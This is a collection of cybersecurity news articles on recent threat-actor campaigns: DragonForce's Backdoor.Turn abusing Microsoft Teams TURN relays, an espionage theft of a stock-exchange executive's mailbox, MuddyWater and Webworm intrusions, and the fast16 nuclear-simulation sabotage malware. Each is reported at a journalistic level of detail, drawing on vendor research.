Threat actors associated with the DragonForce ransomware have been observed using a custom Go-based remote access trojan (RAT) called Backdoor.Turn to conceal command-and-control (C2) traffic inside Microsoft Teams relay infrastructure. According to findings from Broadcom-owned Symantec and Carbon Black, the backdoor was deployed against a major U.S. services firm. The name of the company was not disclosed. "Backdoor.Turn obtains an anonymous Teams visitor token from Microsoft’s Skype-backed identity services, uses a legitimate Microsoft TURN relay to set up the connection, and then runs a QUIC session to the attacker’s real command-and-control (C2) server," the Threat Hunter Team said in a report shared with The Hacker News. "To network defenders, the only traffic they could see was outbound connections to legitimate Microsoft Teams servers. The attackers were on the victim network for between one and two months." The development marks the first publicly documented instance of the threat actors abusing Microsoft's Traversal Using Relays around NAT (TURN) relay infrastructure. It's suspected the threat actor obtained initial access by exploiting a vulnerability in either an SQL or MS-SQL server, although the exact nature of the flaw is unknown. It's also possible that the access was acquired from an initial access broker (IAB). Initial malicious activity on the victim network began in December 2025, with the attackers running a PowerShell command to drop a ZIP archive under the pretext of a tech support hotfix. The ZIP file responsible for launching a DLL side-loading attack, which then runs a rogue DLL to conduct reconnaissance, set up persistence, and silence security software using a Huawei driver ("HWAuidoOs2Ec.sys"). This is achieved by means of an attack technique called bring your own vulnerable driver (BYOVD) technique. The driver has been put to use in a large-scale malvertising campaign targeting U.S.-based individuals searching for tax-related documents, although this is said to have taken place after the ransomware incident. Some of the other drivers used for this purpose are listed below - wsftprm.sys (CVE-2023-52271) GameDriverX64.sys (CVE-2025-61155) K7RKScan.sys (CVE-2025-1055) ABYSSWORKER, a custom-built malicious driver previously observed in Medusa ransomware attacks What's notable about the attack is the execution of Backdoor.Turn by injecting it into the legitimate "DbgView64.exe" process after the DragonForce ransomware has been deployed. This suggests an attempt to maintain continued access to the compromised host for later attacks or reselling it for profit. Backdoor.Turn's underlying TURN-based mechanism leans on a stealthy C2 communication technique called Ghost Calls that was documented by Praetorian in August 2025. The backdoor supports a wide range of capabilities, including command execution, process creation, network scanning, LDAP and Active Directory search, credential-based lateral movement, and browser credential theft. "The backdoor requests a visitor token from the Microsoft Teams/Skype backend, uses that token to interact with Teams-associated infrastructure (TURN relay), and then establishes outbound connectivity," Symantec and Carbon Black explained. "It obtains a Teams visitor (anonymous) authentication token backed by Skype identity services. It then uses a legitimate Microsoft server as the TURN relay server during connection setup. After relay-assisted setup, the malware establishes a direct QUIC session to the C&C server, which is malicious." The findings paint a picture of a hacking group leaning on sophisticated cyber tradecraft to pull off high-impacted targeted attacks, while leaving victims in the dark about covert data exfiltration. This is particularly significant as Hackledorb, the threat actor behind DragonForce, has pivoted from a conventional ransomware-as-a-service (RaaS) model to a highly organized, formalized cartel structure. "The operational timeline reveals a pattern of continuous capability development, with the adoption of highly advanced techniques becoming a hallmark of their post-2025 activity," the company said. "The deployment of Backdoor.Turn, combined with their multi-vector BYOVD evasion, marks them as one of the most capable and persistent ransomware groups operating today."

A new backdoor deployed as part of a recent DragonForce ransomware attack is using Microsoft Teams relay servers for command-and-control (C&C), according to Broadcom’s Symantec and Carbon Black threat hunter team. The DragonForce group has been active since 2023, operating as a cartel structure and adopting highly advanced techniques in recent months, suggesting organizational maturity and significant resource allocation. Tracked as Backdoor.Turn, the newly identified malware is written in Go and hides its C&C server communication as legitimate Microsoft Teams traffic in a sophisticated manner. “Backdoor.Turn obtains an anonymous Teams visitor token from Microsoft’s Skype-backed identity services, uses a legitimate Microsoft TURN relay to set up the connection, and then runs a QUIC session to the attacker’s real [C&C] server,” the threat hunters note. According to the researchers, this appears to be the first malware family to abuse the TURN relay infrastructure in this way. “It is relatively unusual to see ransomware attackers using their own custom tools, and it is particularly unusual to see them using a custom tool as sophisticated as Backdoor.Turn,” they note. The custom backdoor was used in an attack on a US services firm, which was likely compromised through an unknown vulnerability in an SQL or MSSQL server. DragonForce operators might have purchased access to the company from an access broker. According to Symantec and Carbon Black, the hackers accessed the victim network in December 2025, and relied on DLL sideloading to execute code that would fetch additional malware from remote servers. The hackers established persistence, secured access to the compromised environment, conducted reconnaissance, and employed a sophisticated BYOVD strategy to exploit known flaws in signed drivers, thereby obtaining kernel-level access and terminating security processes. They also deployed the DragonForce ransomware for data encryption and exfiltration, and the Backdoor.Turn malware to maintain persistence on the compromised systems after the ransomware is deployed. The backdoor enables threat actors to execute commands, create processes, perform network scanning and LDAP/AD mapping, move laterally using stolen credentials, and exfiltrate credentials from the browsers installed on the infected systems. “The attackers in this campaign use exceptionally sophisticated cyber tradecraft. The configuration of Backdoor.Turn means that security products only see C&C traffic going to legitimate Teams servers, leaving defenders unaware that data is being siphoned away by malicious actors,” the researchers note. Related: Ransomware Attack Shuts Down Mills of Australia’s Second-Largest Sugar Producer Related: Ukrainian Man Pleads Guilty in US to Conti Ransomware Charges Related: FBI: Cybercrime Losses Neared $21 Billion in 2025 Related: Threat Actor Connected to Play, RansomHub and DragonForce Ransomware Operations

Cybercriminals mask malicious communications through Microsoft Teams relays The DragonForce ransomware group used a custom malware called Backdoor.Turn to hide command-and-control traffic inside Microsoft Teams relay infrastructure during an intrusion at a U.S. services company, according to Symantec. DragonForce is a ransomware-as-a-service operation that has been active since 2023. The group provides affiliates with ransomware tools and supporting services in exchange for a share of ransom payments. First known abuse of Microsoft Teams TURN infrastructure “Backdoor.Turn obtains an anonymous Teams visitor token from Microsoft’s Skype-backed identity services, uses a legitimate Microsoft TURN relay to set up the connection, and then runs a QUIC session to the attacker’s real command-and-control (C2) server,” Symantec explained. Because the malware relied on legitimate Microsoft Teams infrastructure during the communication process, defenders monitoring network traffic would primarily see outbound connections to legitimate Microsoft servers. The attackers remained on the victim network for between one and two months. “To our knowledge this is the first time TURN relay infrastructure has been abused this way in the wild.” Attackers used DLL sideloading and BYOVD techniques The activity, first observed in December 2025, appears to have started with the exploitation of a vulnerable SQL or Microsoft SQL Server system, although researchers could not determine the exact entry point and noted that the access may have been obtained from an access broker. Once inside the network, the attackers downloaded a ZIP archive containing a legitimate VirtualBox/DbgView executable and a malicious DLL used for sideloading. “When executed, the malicious vboxrt.dll downloads code from a list of servers, and that malicious code is used for numerous things, such as securing access, reconnaissance, and evading detection.” At this stage, the attackers created additional user accounts, modified the LimitBlankPassword setting in Windows to simplify access to compromised machines, and changed firewall rules. For defense evasion, the attackers used BYOVD techniques to gain kernel-level privileges and disable security tools. The drivers involved included Huawei’s HWAuidoOs2Ec.sys, Topaz Antifraud’s wsftprm.sys (CVE-2023-52271), Tower of Fantasy’s GameDriverx64.sys (CVE-2025-61155), and K7 Security’s K7RKScan.sys (CVE-2025-1055). Symantec said the Huawei driver was used as part of a novel attack dubbed “Havoc Process Terminator” and had not previously been observed being exploited in attacks. Researchers at Huntress documented the driver’s vulnerable status in March 2026, after the intrusion took place. The attackers also used ABYSSWORKER, a custom-built malware driver designed to masquerade as a legitimate Palo Alto Networks driver. Following reconnaissance and defense-evasion activities, the attackers exfiltrated data and deployed the DragonForce ransomware payload. Backdoor.Turn deployed after ransomware attack The Backdoor.Turn remote access trojan (RAT) was injected into the legitimate DbgView64.exe process after the ransomware was deployed, suggesting it may be intended to maintain access to compromised systems or support future intrusions. Backdoor.Turn can execute commands, launch processes, scan networks, capture TLS certificate information, search LDAP and Active Directory environments, move laterally through the network using stolen credentials, and steal browser credentials from compromised systems. “The deployment of Backdoor.Turn, combined with their multi-vector BYOVD evasion, marks them as one of the most capable and persistent ransomware groups operating today,” the researchers concluded. Symantec has published indicators of compromise (IoCs) associated with the activity to help organizations detect and respond to related attacks.

A notorious ransomware group secretly infiltrated the network of a major company for up to two months by hiding command and control (C&C) traffic in Microsoft Teams, before unleashing their attack, researchers have warned. The investigation report, published by Symantec and Carbon Black on 16 June, warned that attackers deployed DragonForce ransomware on the network of a “major US services firm.” The cybercriminals used a Go-based Remote Access Trojan (RAT) to abuse Microsoft Teams' TURN relay servers and mask command-and-control traffic. The backdoor, which researchers dubbed Backdoor.Turn, altered the traffic so all defenders could see was outbound connections to legitimate Microsoft Teams servers. Backdoor.Turn was used to obtain an anonymous Teams visitor token from Microsoft’s Skype-backed identity services before using a legitimate Microsoft TURN relay to set up a connection. The attackers then ran a QUIC transport layer network protocol session which linked the infected machine to an attacker-controlled server. The attackers also deployed what, at the time of the attack, was as an undocumented vulnerability in a Huawei driver to help mask their activity. The vulnerability was later detailed by Huntress in March 2026. To help maintain persistence on the network the attackers altered configurations and systems. This included removing the Limit Blank Password security setting to allow for easy access to the compromised machines, creating new user accounts to maintain or gain additional access and modifying firewall rules to facilitate remote access and ensure C&C communication remained unhindered. These capabilities, combined with the capabilities of Backdoor.Turn – code execution, network scanning, credential-based lateral movement within the network and browser credential theft from compromised endpoints - allowed the attackers to secretly gain remote access to the network overtime. All of this was abetted by stealthily hiding in C&C traffic in Microsoft Teams. “The attackers in this campaign use exceptionally sophisticated cyber tradecraft. The configuration of Backdoor.Turn means that security products only see C&C traffic going to legitimate Teams servers, leaving defenders unaware that data is being siphoned away by malicious actors,” researchers warned in the blog post. This incident took place in 2025, and the attackers were able to deploy DragonForce ransomware to exfiltrate data and encrypt the victim machines. There is no indication as to whether the victim paid the ransom to obtain the decryption key or encouraged the attackers to delete the data. Researchers believe the attack started when the attackers gained access to the victim network by exploiting a vulnerability in either an SQL or MSSQL server. DragonForce has become one of the most notorious ransomware groups of recent times, accounting for a significant percentage of incidents and the group has claimed several major retailers as victims. “The deployment of Backdoor.Turn, combined with their multi-vector BYOVD evasion, marks them as one of the most capable and persistent ransomware groups operating today,” researchers warned.

DragonForce ransomware used a custom malware named 'Backdoor.Turn' to hide command-and-control traffic inside Microsoft Teams relay infrastructure. The backdoor abuses the Traversal Using Relays around NAT (TURN) protocol used by Microsoft Teams to distribute messages when a direct connection to the client is unavailable (e.g., clients on a private network). DragonForce is a ransomware operation active since at least 2023, that adopted a cartel-style organizational structure and has been linked to the infamous Scattered Spider threat group. According to researchers at the cybersecurity company Symantec, the hackers used custom Go-based malware in an attack against a major U.S. services company. Backdoor.Turn abuses Teams' TURN infrastructure by obtaining an anonymous Teams visitor token, using a legitimate Microsoft TURN relay during connection setup, and then connecting to the attacker's command-and-control (C2) server. As a result, defenders see traffic associated with the Microsoft Teams infrastructure, allowing the malware to hide its communications within a trusted network. Last year, Praetorian developed a new technique dubbed ‘Ghost Calls’, which showed how temporary TURN credentials for Teams and Zoom could be hijacked to create stealthy communication tunnels through trusted conferencing infrastructure. While Ghost Calls demonstrated the concept in 2025, Backdoor.Turn is the first known in-the-wild malware to abuse Microsoft Teams TURN relays for command-and-control communications. “Backdoor.Turn, a Go-based RAT, is the first known malware to abuse Microsoft Teams' TURN relay servers to mask command-and-control traffic,” Symantec says. The researchers also highlight the exploitation of Huawei’s HWAuidoOs2Ec.sys driver ("Havoc Process Terminator"), which is used for evasion in Bring Your Own Vulnerable Driver (BYOVD) tactics. DragonForce attacks The attack, observed in December 2025, began likely with the exploitation of an unknown flaw in an SQL or MSSQL server, Symantec notes. Once the attacker established a foothold, they downloaded a ZIP archive containing a legitimate VirtualBox/DbgView executable and a malicious DLL file used for sideloading. At this stage, the attacker strengthened their persistence, created rogue users, abused the LimitBlankPassword security policy in Windows for easy access, and modified firewall rules. Next, they used BYOVD techniques with multiple drivers such as Huawei’s HWAuidoOs2Ec.sys, Topaz Antifraud wsftprm.sys (CVE-2023-52271), Tower of Fantasy GameDriverx64.sys (CVE-2025-61155), and K7 Security K7RKScan.sys (CVE-2025-1055), to obtain kernel-level privileges and terminate security tools on the host. The hacker also used ABYSSWORKER, a custom malicious driver masquerading as a legitimate Palo Alto driver. The Backdoor.Turn remote access trojan (RAT) was injected into ‘DbgView64.exe’ after deploying the ransomware, suggesting that it might be intended for persistence or future access. The malware obtains an anonymous Teams visitor token using a legitimate Microsoft TURN relay server during connection setup and establishes communication with the C2. Its capabilities include command execution, process creation, network scanning, TLS certificate capturing, LDAP/Active Directory searching, website title collection, and browser credential theft. After completing reconnaissance and evading defense, the attacker exfiltrated all data, deployed DragonForce ransomware, and encrypted the victim’s systems. The researchers say that the hackers behind "this campaign use exceptionally sophisticated cyber tradecraft." Symantec has published a complete list of indicators of compromise (IoCs) to help defenders catch and block such attacks. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Unknown attackers spent at least five months inside the Outlook mailbox of a senior executive at a major global stock exchange, copying the inbox out in small, repeated batches and routing it through Dropbox and OneDrive so the traffic blended into normal cloud activity. Symantec and Carbon Black's Threat Hunter Team reported the campaign this week. This points to espionage, not a money grab: Symantec said the commands indicate intelligence collection, not theft for profit. Neither the executive nor the exchange was named. The value is plain enough: an exchange executive's inbox can hold non-public listing details, enforcement matters, deal terms, market-moving plans, plus the executive's calendar and contacts. Five months of quiet access handed the attacker a detailed read on the executive's dealings and where the organization was heading, without needing broad access to other business systems. The first malicious activity showed up on October 10, 2025. By then, the attacker was already running two binaries as SYSTEM, the highest Windows privilege level, one faking Adobe's updater and the other faking OneDrive. By the time defenders noticed anything, the intruder had full control of the machine, and how they first got in is still unknown. However, Symantec confirmed that the first signs likely came from lateral movement off a previously compromised device. The operation kicked into gear on November 12. The attacker pulled a Dropbox API token, started uploading data with curl, and deployed the main tool: a mailbox stealer built on Aspose, a legitimate .NET library that reads Outlook OST and PST files. Wrapped in an executable, it converted the mailbox to PST and wrote it to disk, run each time with a password and a date-range flag. The first run grabbed everything from August 2025 on. After that the attacker came back every two to four weeks, each run taking only the days since the last one, eight more pulls through February 17, 2026. The result is a near-continuous copy of the mailbox, sliced thin enough not to draw attention from security software. The stealth came from making the work look ordinary. Scheduled tasks posed as Adobe, Lenovo and OneDrive system services. For exfiltration the attacker used Dropbox and OneDrive Personal, and for OneDrive they connected to hard-coded Microsoft IP addresses instead of the onedrive.live.com hostname, so there were no DNS lookups for a perimeter tool to catch or block. The attacker also tested the public file host temp.sh once in November, then dropped it. The last observed activity, on March 19, 2026, was a new backdoor that was staged but never run, which Elias said may mean the attacker lost access soon after. Symantec's published indicators point to a wider intrusion kit, not just a mailbox grabber: FRPC for tunneling traffic out, Secretsdump for pulling Windows credentials, SharpDecryptPwd for recovering saved app passwords, and a tool to bypass Windows User Account Control. The report does not say how each was used here, and none of them point to a specific group. There is no CVE in this story. It was an intrusion against a person's mailbox, not the exploitation of a freshly disclosed flaw, which is part of why it is worth reading: no patch closes this, and the burden shifts to monitoring and response. Attribution is unresolved too. The mix of public tooling and consumer cloud services left little to tie the activity to a known actor, and that stays open until a stronger source says otherwise. Routing exfiltration through Dropbox and OneDrive to blend in is a well-worn play, and one Microsoft has flagged as a deliberate way to slip past perimeter defenses and muddy attribution. If you defend an exchange, a regulator, or any firm sitting on market-moving information, feed the hashes in now and watch for the behavior behind them: unusual mailbox export activity, odd Outlook access, uploads to personal Dropbox or OneDrive accounts, unexpected tunneling, and credential-dumping on systems tied to privileged users.

Hackers gained access to the email account of a senior executive at a major global stock exchange and exfiltrated data for months. The attack, investigated by Broadcom’s Symantec and Carbon Black threat-hunting team, began in October 2025, and the threat actor retained access to the compromised Outlook mailbox until March 2026. The security experts estimate that the dwell time was roughly 150 days. The goal of the operation was most likely espionage, but Symantec and Carbon Black did not share any information about who may have been behind the attack or which stock exchange was targeted. “For an espionage actor, a senior executive’s mailbox is a high-value intelligence target. An Outlook profile may yield details of external negotiations, internal deliberations, the executive’s calendar, travel pattern, and their contacts,” the researchers said. “Organizations such as exchanges and regulators may hold non-public information about listings, enforcement actions and market-moving events. Months of unfettered access to that mailbox lets an attacker build a near-complete picture of the target’s working life and the organization’s near-term direction without ever having to move laterally elsewhere on the network,” they added. The initial access vector remains unknown, but the first signs of malicious activity were seen on October 10, 2025, when malware had already been running on the compromised host, disguised as Adobe and OneDrive applications. Command-and-control (C&C) channels were established on November 12, when the attacker also began collecting and exfiltrating data. To avoid raising suspicion, they used Dropbox and OneDrive to exfiltrate files, transferring only small batches at a time. “The cumulative effect over the five months observed is a complete, near-continuous theft of the user’s Outlook mailbox, broken into incremental archives small enough not to draw attention from security software,” the researchers explained. The attacker continuously worked on persistence, regularly re-registering tasks disguised as Adobe, Lenovo, and OneDrive system services to maintain access. Symantec and Carbon Black made indicators of compromise (IoCs) available to help other organizations detect potential attacks. Related: Sophisticated Deep#Door Backdoor Enables Espionage, Disruption

The Iranian hacking group known as MuddyWater has been linked to a new campaign affecting at least nine organizations across nine countries on four continents in the first quarter of 2026. The activity targeted industrial and electronics manufacturing, education and public-sector bodies, financial services, and professional services, per the Threat Hunter Team from Symantec and Carbon Black. Among the victims is a major South Korean electronics manufacturer, with the attackers spending a week inside its network in February 2026. Also singled as part of the sprawling espionage effort were an international airport in the Middle East, Southeast Asian industrial manufacturers, and a Latin American financial-services provider. "The attackers relied heavily on DLL side-loading using legitimately signed Fortemedia (fmapp.exe) and SentinelOne (sentinelmemoryscanner.exe) binaries to execute malicious DLLs while masquerading as benign software," Broadcom's cybersecurity teams said. The use of "fmapp.exe" to sideload "fmapp.dll" was previously documented by Group-IB in connection with another MuddyWater campaign codenamed Operation Olalampo. According to Huntress, the DLL contains code to connect to an attacker-controlled IP address ("157.20.182[.]49"). On the other hand, the abuse of "sentinelmemoryscanner.exe" - a binary associated with a security product - is assessed to be a deliberate choice, as it can bypass signature-based detection. It's designed to sideload a rogue DLL named "sentinelagentcore.dll." Both the DLLs embed an open-source tool called ChromElevator to siphon passwords, cookies, and payment card data from Chromium-based browsers, effectively getting around App-Bound Encryption (ABE) protections. A noteworthy aspect of the attacks is the use of Node.js scripts to launch PowerShell code responsible for carrying out discovery and information gathering operations. In at least one instance, the attackers have been found to stage the stolen data on sendit[.]sh, a public file-transfer service. "A node.exe-based implant chain was used to drop PowerShell scripts that performed reconnaissance, screenshot capture, SAM hive theft, privilege escalation, and SOCKS5 reverse-proxy tunnelling," Symantec and Carbon Black said. Also delivered are the two aforementioned DLL side-loading pairs to provide attackers with a covert tunnel to relay traffic and launch ChromElevator. The attacks are also characterized by efforts to dump credentials that would allow them to move laterally across the networks. In the intrusion targeting the South Korean electronics manufacturer, MuddyWater is believed to have repeatedly carried out PowerShell-based reconnaissance, as well as re-execute the two binaries to ensure it retains access to the compromised host. The initial access vector used to breach the organization is unknown. "The cadence is again consistent with implant-driven activity rather than continuous operator presence," the researchers said. "Its campaign history shows a clear move towards quieter, more disciplined operations. None of these techniques is individually novel, but in combination they provide more evidence of a significant step up in operational hygiene from the Seedworm that we knew of two or three years ago." The development comes as the European Council imposed sanctions against Iranian company Emennet Pasargad for hacking a Swedish SMS service, accessing the contents of a French subscriber database and putting it up for sale, and for spreading disinformation via compromised advertising billboards during the 2024 Paris Olympic Games. The company, per the U.S. State Department, goes by the name Shahid Shushtari and is affiliated with Iran's Islamic Revolutionary Guard Corps Cyber-Electronic Command (IRGC-CEC). It's tracked under the monikers Cobalt Obelisk, Cotton Sandstorm, Haywire Kitten (formerly ChaoticOrchestra), Marnanbridge, and UNC5866. "Shahid Shushtari members have caused significant financial damage and disruption to U.S. businesses and government agencies through coordinated cyber and cyber-enabled information operations," the State Department noted in December 2025. "These campaigns have targeted multiple critical infrastructure sectors, including news, shipping, travel, energy, financial, and telecommunications in the United States, Europe, and the Middle East." Iran-backed hackers have also been tied to an exfiltration campaign aimed at organizations in the U.S., Israel, Saudi Arabia, and Turkey between late March and early April 2026, with at least two U.S. victims also targeted by destructive operations, such as deletion of partitions and data backups. Although these incidents were claimed by a pro-Iranian persona named Ababil of Minab, a new analysis from Gambit Security has tied the campaign infrastructure to Iran's Ministry of Intelligence and Security (MOIS). Other targets include an Israeli organization in the media sector, an Israeli higher education institution, a Turkish insurance brokerage, and several additional websites across the restaurant, culture, digital services, and news sectors. No destructive activity has been observed against these victims. In these cases, the adversary has been found to employ a bespoke C++ file collection and exfiltration tool internally codenamed FileFiend. "The binary could enumerate local drives and SMB shares, walk the file system, and send files to a hard-coded C2 [command-and-control] server," Gambit Security researchers Eyal Sela and Nir Varon said in a report published today. Alternatively, data of interest is compressed into RAR archives on a host inside the victim environment and uploaded to the organization's public website at the web root, from where they are extracted using the Axel command-line download accelerator and tunneled through proxychains. "What looked like another noisy pro-Iran persona amplifying exaggerated claims turned out to be an operation linked to Iran's Ministry of Intelligence and Security (MOIS), with confirmed destructive impact across multiple U.S. and regional targets," Tim Miller, Global Field CTO and chief cybersecurity strategist at Dataminr, said in a statement shared with The Hacker News. "The answer isn't to treat every hacktivist post as a five-alarm fire - it's to maintain continuous visibility so you can tell the difference before it's too late."

Cybersecurity researchers have flagged fresh activity from a China-aligned threat actor known as Webworm in 2025, deploying custom backdoors that employ Discord and Microsoft Graph API for command-and-control (C2 or C&C) communications. Webworm, first publicly documented by Broadcom-owned Symantec in September 2022, is assessed to be active since at least 2022, targeting government agencies and enterprises spanning IT services, aerospace, and electric power sectors in Russia, Georgia, Mongolia, and several other Asian nations. Attacks mounted by the group have leveraged remote access trojans (RATs) like Trochilus RAT, Gh0st RAT, and 9002 RAT (aka Hydraq and McRat). The threat actor is said to overlap with China-nexus clusters tracked as FishMonger (aka Aquatic Panda), SixLittleMonkeys, and Space Pirates. SixLittleMonkeys is best known for deploying Gh0st RAT and a RAT called Mikroceen targeting entities in Central Asia, Russia, Belarus, and Mongolia. "In recent years, it has started moving toward both existing and custom proxy tools, which are more stealthy than full-fledged backdoors," ESET researcher Eric Howard said. "In 2025, Webworm also added two new backdoors to its toolset: EchoCreep, which uses Discord for C&C communication, and GraphWorm, which uses Microsoft Graph API for the same purpose." Underlying these efforts is the use of a GitHub repository impersonating a WordPress fork ("github[.]com/anjsdgasdf/WordPress") as a staging ground for malware and tools like SoftEther VPN in an effort to blend in and fly under the radar. The reliance on SoftEther VPN is a tried-and-tested approach adopted by several Chinese hacking groups. Over the past two years, the adversary has been observed shifting away from traditional backdoors to (semi-)legitimate utilities such as SOCKS proxies, while also increasingly focusing on European countries, including governmental organizations in Belgium, Italy, Serbia, Poland, and Spain, and a local university in South Africa. The discovery of EchoCreep and GraphWorm marks an expansion of Webworm's arsenal, even as Trochilus and 9002 RAT appear to have been abandoned by the threat actor. Other tools of note are iox and custom proxy solutions such as WormFrp, ChainWorm, SmuxProxy, and WormSocket. WormFrp has been found to retrieve configurations from a compromised Amazon S3 bucket. "These custom proxy tools are not only capable of encrypting communications, but also support chaining across multiple hosts both internally and externally to a network," ESET said. "We believe that the operators use these tools in conjunction with SoftEther VPN to better cover their tracks and increase the stealth of their activities." EchoCreep supports file upload/download and command execution via "cmd.exe" capabilities, while GraphWorm is a more advanced backdoor that can spawn a new "cmd.exe" session, execute a newly created process, upload and download files to and from Microsoft OneDrive, and stop its own execution after receiving a signal from the operators. An analysis of the Discord channel leveraged by EchoCreep as C2 shows that the earliest commands were sent as far back as March 21, 2024. In all, 433 Discord messages have been sent via the C2 server to more than 50 unique targets. Exactly how these backdoors are delivered, and the initial access pathway used by Webworm, is presently unknown. However, it has emerged that the attacker utilizes open-source utilities like dirsearch and nuclei to brute-force victim web server files and directories, and search for vulnerabilities within. As for tradecraft overlaps, ESET told The Hacker News that Webworm's links to Space Pirates is tenuous at best, citing the use of open-source RATs and a lack of concrete evidence tying the two clusters. "The relation on which Webworm and Space Pirates is built is on behalf of RATs which are open sourced," Howard told The Hacker News via email. "Unfortunately, due to the open-source nature of these RATs, several China-aligned groups make use of these tools. It's not relevant enough to say that the two groups are related." "In addition, we have not recently observed any indication that there are overlaps with the group known as Space Pirates. From the recent activity we've reported on, we do not believe any other groups were involved." The disclosure comes as Cisco Talos shed light on a BadIIS variant that's likely sold or shared among multiple Chinese-speaking cybercrime groups under a malware-as-a-service (MaaS) model designed for continuous monetization. The offering is believed to have been under development since at least September 30, 2021. The same malware author, who operates under the alias "lwxat," has also made available a set of supplementary tools, including service-based installers, droppers, and persistence mechanisms that automate deployment, ensure survivability across IIS server restarts, and sidestep detection. The service offers a dedicated builder tool that "allows threat actors to generate configuration files, customize payloads, and inject parameters into BadIIS binaries - enabling capabilities including traffic redirection to illicit sites, reverse proxying for search engine crawler manipulation, content hijacking, and backlink injection for malicious search engine optimization (SEO) fraud," Talos researcher Joey Chen said. (The story was updated after publication to include a response from ESET.)

A new analysis of the Lua-based fast16 malware has confirmed that it was a cyber sabotage tool designed to tamper with nuclear weapons testing simulations. According to Broadcom-owned Symantec and Carbon Black teams, the pre-Stuxnet tool was engineered to corrupt uranium-compression simulations that are central to nuclear weapon design. "Fast16's hook engine is selectively interested in high-explosive simulations inside LS-DYNA and AUTODYN," the Threat Hunter Team said. "The malware checks for the density of the material being simulated and only acts when that value passes 30 g/cm³, the threshold uranium can only be reached under the shock compression of an implosion device. The development comes weeks after SentinelOne presented an analysis of fast16, describing it as the first sabotage framework whose components may have developed as early as 2005, predating the earliest known version of Stuxnet (aka Stuxnet 0.5) by two years. Evidence unearthed by the cybersecurity company included a reference to the string "fast16" in a text file that was leaked by an anonymous hacking group called The Shadow Brokers in 2017. The file was part of a huge tranche of hacking tools and exploits allegedly used by the Equation Group, a state-sponsored threat actor with suspected ties to the U.S. National Security Agency (NSA). At its core, the industrial sabotage malware features a set of 101 rules to tamper with mathematical calculations carried out by certain engineering and simulation programs that were prevalent at the time. Although the exact binaries that are patched by the malware is unclear, SentinelOne identified three probable candidates: LS-DYNA version 970, Practical Structural Design and Construction Software (PKPM), and Modelo Hidrodinâmico (MOHID). Symantec's latest analysis has now confirmed that LS-DYNA and AUTODYN are the two applications targeted by fast16, adding it was designed explicitly to interfere with simulations of high-explosive detonations, almost certainly to facilitate sabotage against nuclear weapons research. "Both are software applications used to simulate real-world problems such as vehicle crashworthiness, material modelling, and explosive simulation," Symantec and Carbon Black said. "The hooks fast16 places inside of the simulation program consist of three attack strategies. The tampering only activates during full-scale transient blast and detonation runs." The 101 hook rules can be categorized further into 9-10 hook groups, each targeting different builds of LS-DYNA or AUTODYN, suggesting that the developers of the malware were keeping track of software updates and adding support for different versions over time. This points to a methodical and sustained operation. "If hook rule groups were added sequentially as needed, we see a hook group added for a previous version of the software after a newer version," researchers explained. "One may imagine, the simulation user reverted to an older version when faced with the anomaly, before that version was also targeted. Secondly, the hook groups represent up to 10 different versions of simulation software, meaning the simulation user updates versions semi-frequently. Fast16 is crafted such that it will not infect computers that have certain security products installed. It also automatically spreads to other endpoints on the same network, so that any machine that's used to run the simulations will generate the same tampered outputs. The findings indicate that strategic industrial sabotage using malware was being conducted by nation-state actors as far back as 20 years ago, well before Stuxnet was used to damage uranium enrichment centrifuges at Iran's nuclear plant in Natanz by injecting malicious code into Siemens programmable logic controllers. Speaking to cybersecurity journalist Kim Zetter, Vikram Thakur, technical director for Symantec, said the level of expertise and understanding required to design such a malware in 2005 is "mind-blowing." That said, it's not known if a modern-day version of fast16 exists in the wild. "That degree of domain knowledge, such as understanding which EOS [Equation of State] forms matter, which calling conventions are produced by which compilers, and which classes of simulation will or will not trip the gate, is unusual in any era and was very unusual in 2005," Symantec and Carbon Black said. "The framework belongs to the same conceptual lineage as Stuxnet, in which malware was tailored not just to a vendor's product but to a specific physical process being simulated or controlled by that product."

The Iran-linked hacking group MuddyWater (a.k.a. Seedworm, Static Kitten) launched a broad cyber-espionage campaign targeting at least nine high-profile organizations across multiple sectors and countries. Among the victims are a major South Korean electronics manufacturer, government agencies, an international airport in the Middle East, industrial manufacturers in Asia, and educational institutions. Researchers at Symantec say that the threat actor “spent a week inside the network of a major South Korean electronics manufacturer in February 2026.” Symantec’s Threat Hunter Team believes the attacker was intelligence-driven, focusing on industrial and intellectual property theft, government espionage, and access to downstream customers or corporate networks. Fortemedia and SentinelOne abuse Seedworm's campaign relied heavily on DLL sideloading, a common technique in which legitimate, signed software loads malicious DLLs. Two of the binaries leveraged in the attack are ‘fmapp.exe,’ a legitimate Foremedia audio utility, and ‘sentinelmemoryscanner.exe,’ a legitimate SentinelOne component. The malicious DLLs (fmapp.dll and sentinelagentcore.dll) contained ChromElevator, a commodity post-exploitation tool that steals data stored in Chrome-based browsers. Symantec also found that PowerShell, used in previous Seedworm attacks, was still heavily used in the recent incidents, although the payloads were controlled through Node.js loaders rather than directly. PowerShell was used to capture screenshots, conduct reconnaissance, fetch additional payloads, establish persistence, steal credentials, and create SOCKS5 tunnels. Attack on a Korean firm According to Symantec's observations, the attack on the South Korean electronics manufacturer lasted between February 20 and 27. The researchers did not disclose the name of the targeted organization. In the first stage, Seedworm performed host and domain reconnaissance, followed by antivirus enumeration via WMI, screenshot capture, and the download of additional malware. Credential theft occurred via fake Windows prompts, registry hive theft (SAM/SECURITY/SYSTEM), and Kerberos ticket abuse tools. Persistence was established through registry modifications, beaconing occurred at 90-second intervals, and sideloaded binaries were repeatedly relaunched to maintain access. “The cadence is again consistent with implant-driven activity rather than continuous operator presence,” the researchers said. The attackers leveraged sendit.sh, a public file-sharing service for data exfiltration, likely to obscure the malicious activity and make it appear as normal traffic. Overall, Symantec has found the latest Seedworm campaign notable for the threat actors’ geographic expansion, operational maturity, and the abuse of legitimate tools and services, which mark a shift toward quieter attacks. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

